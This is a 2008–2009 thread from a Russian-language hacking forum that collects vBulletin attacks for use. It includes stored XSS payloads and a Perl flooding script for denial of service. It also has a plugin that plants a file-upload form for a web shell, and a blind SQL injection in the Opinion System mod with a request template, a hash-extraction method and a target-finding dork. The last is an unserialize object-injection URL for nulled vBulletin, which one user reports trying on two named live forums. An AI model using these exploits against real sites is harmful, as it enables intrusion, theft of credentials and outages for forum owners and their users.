ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

14.12.2008, 12:14
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
HTML & XSS Code Execution Выполнение произвольного HTML и XSS кода.
Должен быть установлен файл adminwarn.php, путь и права доступа к нему.
1. Заходим на http://site.com/forum/adminwarn.php?do=addstart&id= 123456
Где 123456 - ID сообщения, где будет исполнятся код.
Текст предупреждения:
Код:
<script>alert('mailbrush H@CK3R')</script>
Потом заходим в тему, где есть сообщения, на ID которого мы ставили предупреждение, и видим алерт. Также можно вписать в Текст предупреждения, любой HTML код.
© mailbrush
Последний раз редактировалось mailbrush; 21.01.2009 в 22:01..
|
|
|

21.01.2009, 22:15
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
HTML & XSS Code Execution x2
Что необходимо?
а) Доступ в админку
б) Прямые руки, соображение, минимальное знание инета и хтмл.
Как работает?
Уязвимость заключается в том, что поле "Заголовок" не фильтруется.
Начинаем
Заходим: Админка - Поля профиля участника - Добавить поле в профиле пользователя. (либо просто http://site.com/admincp/profilefield.php?do=add). Там выбираем: Тип поля профиля - Текстовое поле одной строчкой. Кликаем Далее. В поле заголовок вводим:
Код:
<script>alert('mailbrush H@CK3R)</script>
Кликаем Сохранить. После этого заходим:
а) Админка - Поля профиля участника - Управление полями профиля пользователя. (либо просто http://site.com/admincp/profilefield.php?do=modifycats) Потом выбираем наш Редактировать около нашего <script>alert('mailbrush H@CK3R)</script> (либо просто http://site.com/admincp/profilefield.php?do=edit&profilefieldid=xx, где xx - уникальный ИД, который присвоился полю после добавления), и вуаля - у нас алерт.
b) Панель Управления - Личные Данные (либо просто http://site.com/profile.php?do=editprofile), и вуаля - у нас алерт.
© mailbrush
Последний раз редактировалось mailbrush; 21.01.2009 в 22:17..
|
|
|

03.05.2009, 15:55
|
|
Участник форума
Регистрация: 25.05.2007
Сообщений: 290
Провел на форуме: 1740746
Репутация:
435
|
|
3.0.8 и Last
|
|
|

17.06.2009, 21:47
|
|
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме: 2075230
Репутация:
462
|
|
vBulletin® Version 3.8.2 Denial of Service Exploit
Код:
#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
########################################################################
# Modules #
########################################################################
use IO::SOCKET; # Object interface #
########################################################################
if (@ARGV<1){
print"
########################################################################
## _ _ _ _ ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_ ##
##| _| -_| .'| |___| | | _| -_| _| | -_| _| ##
##|_| |___|__,|_|_|_| |_|_|_|_| |___|_| |_|_|___|_| ##
## ##
########################################################################
########################################################################
## ## ##
##->vBulletin® Version 3.8.2<- ## ##
## ## ##
##Gebe diese Daten an ## ##
##1.Ziel ##[*] www.Ziel.com ##
##2.Board ##[*] vbulletin ##
##3.Verwundbarkeit ##[*] forumdisplay.php?f= ##
##4.Zeit des vorganges ##[*] 9999999999999999 ##
##5.Port ##[*] 80 ##
########################################################################
\a";}
$block = "
########################################################################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
print"$block\n";
print q(Ziel->);
chomp($ziel =<STDIN>);
if ($ziel eq""){
die "$fehler\a\n";}
print"$block\n";
print"$block\n";
print q(Path->);
chomp($path =<STDIN>);
if ($path eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print "Verwundbarkeit\n";
print"forumdisplay.php?f=\n";
print"->"n;
chomp($vul =<STDIN>);
if ($vul eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Time->);
chomp($flood =<STDIN>);
if ($flood eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Port->);
chomp($port =<STDIN>);
if ($port eq ""){
die "$fehler \n";}
print"$block\n";
print q(Send "start"->);
chomp($start =<STDIN>);
if ($start eq "") {
die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel : $ziel\n";
print "[*]Kontroliere Board : $path\n";
print "[*]Kontroliere Port : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
PeerAddr => "$ziel",
PeerPort => "$port",
Proto => "tcp",
);
print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}
|
|
|

06.07.2009, 21:30
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме: 2185909
Репутация:
308
|
|
Заливаем шелл[любая версия]
Плагины и Продукты -> Добавить новый плагин -> Во вкладке "Plugin PHP Code" пишем:
Код:
$target_path = "images/avatars"; //ваша директория, главное что бы чмод 777 стоял
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file";
}
Устанавливаем плагин как активный, сохраняемся, и видим ошибку "No input File Specified". Все нормально.
Далее нам нужно место для загрузки:
Код:
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>
Вставляем везде где разрешен хтмл, или редактируем шаблон и загружаем наш шелл)
|
|
|
Injection И новый баг с мнениями в vBulletin. |

14.10.2009, 16:06
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
Провел на форуме: 401944
Репутация:
37
|
|
Injection И новый баг с мнениями в vBulletin.
Баг пашет везде где установлен хак с мнениями, он заключен в редактированием post запроса. Пример - http://www.doneckforum.com/opinion.php. Что бы заюзать баг, нужно врубить tamper data, включить перехватку данных, затем нажать на форуме кнопку записать и затем вмешаться в запрос. Поле value отвечает за оценку которую Вы ставите, затем вводите туда любое число и жмете ок, опа мнение засчиталось! Этоже поле вообще не фильтруется, и там можно провести инъекцию типа
Код:
(if(substring(@@version,1,1)=5,777,666))
Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).. баг нашел лично сам, жду спасибок.
Последний раз редактировалось ZARO; 14.10.2009 в 22:38..
|
|
|

14.10.2009, 20:29
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Blind - SQL Injection
Opinion System <= 1.4.3
Тип: SQL - Инъекция
Автор: mailbrush
Мод (хак): Opinion System <= 1.4.3
О моде: http://www.vbsupport.org/forum/showthread.php?p=272151
Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "value" в файле opinion.php и позволяет удалённому пользователю внедрить SQL - команды в запрос к базе данных.
Уязвимый код:
opinion.php
PHP код:
$value = $_POST[value];
...
//пишем мнение в базу
$vbulletin->db->query_write("
INSERT INTO " . TABLE_PREFIX . "opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory".$modyfied1.")
VALUES ($opinionid, $fromuserid, $touserid, $value, $dateline, '".$vbulletin->db->escape_string($comment)."', $autofill, $history, $forcehistory".$modyfied2.")
");
Эксплуатация: Для эксплуатации уязвимости необходимо следующее: - Форум vBulletin.
- Установленный мод Opinion System <= 1.4.3.
- Зарегистрированный аккаунт на форуме.
Отправляем запрос:
Код:
POST /[path]/opinion.php HTTP/1.1
Host: [host]
Cookie: [cookie]
Connection: Keep-Alive
Content-Length: [content-length]
Content-Type: application/x-www-form-urlencoded
do=postvote&securitytoken=[token]&touserid=[touserid]&fromuserid=[fromuserid]&uop=0&username=[username]&comment=[comment]&value=[SQL]
Код:
[path] - путь к корню форума.
[host] - хост.
[cookie] - куки.
[content-length] - длина POST-запроса.
[token] - securitytoken (не во всех форумах надо указывать).
[touserid] - ID пользователя, которому ставим оценку.
[fromuserid] - ваш ID.
[username] - имя пользователя, которому ставим оценку.
[comment] - комментарий к оценке.
[SQL] - SQL - запрос.
В базу данных пойдет запрос вида
Код:
INSERT INTO prefix_opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory) VALUES ([DATA], [DATA], [DATA], [SQL], [DATA], [DATA], [DATA], [DATA], [DATA])
Соответственно вместо [SQL] можно подставить запрос вида
Код:
(if(substring(@@version,1,1)=5,777,666))
Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).
Дорк:
Код:
vbulletin inurl:opinion.php
|
|
|

04.12.2009, 00:00
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
VBulletin nulled <= 3.8.1 Arbitrary Function Execution
includes/class_core.php@ 3124:
PHP код:
class vB_Shutdown
{
/* ... */
function __destruct()
{
if (!empty($this->shutdown))
{
foreach ($this->shutdown AS $key => $funcname)
{
$funcname();
unset($this->shutdown[$key]);
}
}
}
}
forumdisplay.php@ 165:
PHP код:
if ($vbulletin->GPC['postvars'] != '')
{
if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
{
$temp = unserialize($check);
/* ... */
}
}
includes/functions.php@ 2211:
PHP код:
function verify_client_string($string, $extra_entropy = '')
{
/* ... */
$firstpart = substr($string, 0, 40);
$return = substr($string, 40);
$decode = false;
/* ... */
if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
{
return ($decode ? base64_decode($return) : $return);
}
return false;
}
В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.
Эксплоит для выполнения phpinfo():
Код:
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/
|
|
|

04.12.2009, 00:23
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Сообщение от [Raz0r]
VBulletin nulled <= 3.8.1 Arbitrary Function Execution
includes/class_core.php@ 3124:
PHP код:
class vB_Shutdown
{
/* ... */
function __destruct()
{
if (!empty($this->shutdown))
{
foreach ($this->shutdown AS $key => $funcname)
{
$funcname();
unset($this->shutdown[$key]);
}
}
}
}
forumdisplay.php@ 165:
PHP код:
if ($vbulletin->GPC['postvars'] != '')
{
if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
{
$temp = unserialize($check);
/* ... */
}
}
includes/functions.php@ 2211:
PHP код:
function verify_client_string($string, $extra_entropy = '')
{
/* ... */
$firstpart = substr($string, 0, 40);
$return = substr($string, 40);
$decode = false;
/* ... */
if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
{
return ($decode ? base64_decode($return) : $return);
}
return false;
}
В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.
Эксплоит для выполнения phpinfo():
Код:
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/
Потестил немного - на двух форумах фильтрации нет, но почему-то phpinfo() не отображается.
Получаю лишь раскрытие путей.
Вот пример с хеки))
Код:
http://forum.xeka.ru/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i:0;s:7:%22phpinfo%22;}}
Имеем:
Код:
Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169
З.Ы.
Вот ещё мегаприватфорум:
Код:
http://boff.ws/forum/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i:0;s:7:%22phpinfo%22;}}
phpinfo() опять-таки не выполнилась, вот что пишет:
Код:
1||1259872978||||||||Error Opening Logfile.
Последний раз редактировалось Root-access; 04.12.2009 в 00:44..
|
|
|

04.12.2009, 12:06
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
В первом примере наверно стоит suhosin patch, который не допускает выполнение деструктора после Fatal Error. Насчет второго, ошибка вообще небулковская
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|